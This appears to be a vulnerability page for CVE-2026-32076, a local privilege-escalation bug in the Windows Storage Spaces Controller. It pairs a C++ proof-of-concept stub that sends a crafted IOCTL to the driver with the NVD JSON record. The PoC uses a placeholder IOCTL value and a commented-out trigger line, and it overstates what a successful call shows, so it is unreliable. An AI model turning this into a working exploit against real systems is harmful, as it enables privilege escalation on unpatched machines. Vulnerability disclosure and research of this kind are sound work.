CVE-2026-32076

/* * PoC for CVE-2026-32076 (Conceptual) * This code demonstrates the trigger mechanism for the Out-of-Bounds Read. * Compile with: cl.exe poc.cpp */ #include <windows.h> #include <iostream> // Define the vulnerable IOCTL code (Hypothetical value based on research) #define VULNERABLE_IOCTL 0xXXXX0020 int main() { HANDLE hDevice = CreateFile(L"\\\\.\\StorageSpacesController", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { std::cerr << "Failed to get device handle. Error: " << GetLastError() << std::endl; return 1; } std::cout << "[+] Device handle opened." << std::endl; // Allocate buffer to trigger the out-of-bounds read // The size and content are crafted to hit the vulnerable code path DWORD bufferSize = 0x1000; BYTE* inBuffer = (BYTE*)malloc(bufferSize); memset(inBuffer, 0x41, bufferSize); // Fill with 'A' // Set specific offset that triggers the OOB read logic // *(DWORD*)(inBuffer + 0x20) = 0xFFFFFFFF; BYTE outBuffer[0x1000]; DWORD bytesReturned = 0; std::cout << "[+] Sending malicious IOCTL..." << std::endl; BOOL result = DeviceIoControl(hDevice, VULNERABLE_IOCTL, inBuffer, bufferSize, outBuffer, sizeof(outBuffer), &bytesReturned, NULL); if (result) { std::cout << "[+] IOCTL returned successfully. Potential crash or privilege escalation occurred." << std::endl; // Dump output buffer to inspect leaked memory if any std::cout << "[+] Bytes returned: " << bytesReturned << std::endl; } else { std::cerr << "[-] IOCTL failed. Error: " << GetLastError() << std::endl; } free(inBuffer); CloseHandle(hDevice); return 0; }

{"cve": {"id": "CVE-2026-32076", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:09.120", "lastModified": "2026-04-21T21:01:46.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.22631.6936", "matchCriteriaId": "B33CE091-B873-4C30-BA05-54A8C1839212"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.22631.6936", "matchCriteriaId": "E3AF28F3-D486-4B88-9E0E-371241024174"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26100.8246", "matchCriteriaId": "94EB36C7-1FF2-4B44-AD91-F3540F09393E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.8246", "matchCriteriaId": "14B23C3F-C8AC-491A-BCA5-EB6982C8F9E9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26200.8246", "matchCriteriaId": "361B5DAB-8D1F-45D7-A33C-F49EBA56B5F8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.8246", "matchCriteriaId": "ADC6CE99-AB5D-4DD5-82A9-892366C4B2FD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.28000.1836", "matchCriteriaId": "690E74A8-E72C-47B6-96EB-37C48D69A635"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.28000.1836", "matchCriteriaId": "13A01FA1-08DC-4E33-9FFC-AB4BCD9634CA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2274", "matchCriteriaId": "55A1F3AB-5299-4495-9A73-FDA23C6FD88D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32690", "matchCriteriaId": "ADF41A14-B9DA-4788-82A8-74DCDCD090E1"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32076", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}